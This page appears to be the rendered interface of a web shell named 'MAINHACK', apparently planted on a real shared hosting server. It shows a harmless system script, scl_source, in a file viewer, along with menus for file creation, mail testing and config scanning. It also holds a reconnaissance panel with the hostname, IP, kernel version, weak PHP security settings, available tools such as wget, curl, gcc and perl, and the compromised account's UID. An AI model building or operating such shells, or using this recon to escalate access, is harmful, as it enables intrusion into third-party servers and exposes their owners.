[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: scl_source
File is not writable. Editing disabled.
#!/bin/bash _scl_source_help="Usage: source scl_source <action> [<collection> ...] Don't use this script outside of SCL scriptlets! Options: -h, --help display this help and exit" if [ $# -eq 0 -o $1 = "-h" -o $1 = "--help" ]; then echo "$_scl_source_help" return 0 fi if [ -z "$_recursion" ]; then _recursion="false" fi if [ -z "$_scl_scriptlet_name" ]; then # The only allowed action in the case of recursion is the same # as was the original _scl_scriptlet_name=$1 fi shift 1 if [ -z "$_scl_dir" ]; then # No need to re-define the directory twice _scl_dir=/etc/scl/conf if [ ! -e $_scl_dir ]; then _scl_dir=/etc/scl/prefixes fi fi for arg in "$@"; do _scl_prefix_file=$_scl_dir/$arg _scl_prefix=`cat $_scl_prefix_file 2> /dev/null` if [ $? -ne 0 ]; then echo "Can't read $_scl_prefix_file, $arg is probably not installed." return 1 fi # First check if the collection is already in the list # of collections to be enabled for scl in ${_scls[@]}; do if [ $arg == $scl ]; then continue 2 fi done # Now check if the collection isn't already enabled /usr/bin/scl_enabled $arg > /dev/null 2> /dev/null if [ $? -ne 0 ]; then _scls+=($arg) _scl_prefixes+=($_scl_prefix) fi; done if [ $_recursion == "false" ]; then _i=0 _recursion="true" while [ $_i -lt ${#_scls[@]} ]; do _scl_scriptlet_path="${_scl_prefixes[$_i]}/${_scls[$_i]}/${_scl_scriptlet_name}" source "$_scl_scriptlet_path" if [ $? -ne 0 ]; then echo "Can't source $_scl_scriptlet_name, skipping." else export X_SCLS="${_scls[$_i]} $X_SCLS" fi; _i=$(($_i+1)) done _scls=() _scl_prefixes=() _scl_scriptlet_name="" _recursion="false" fi
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A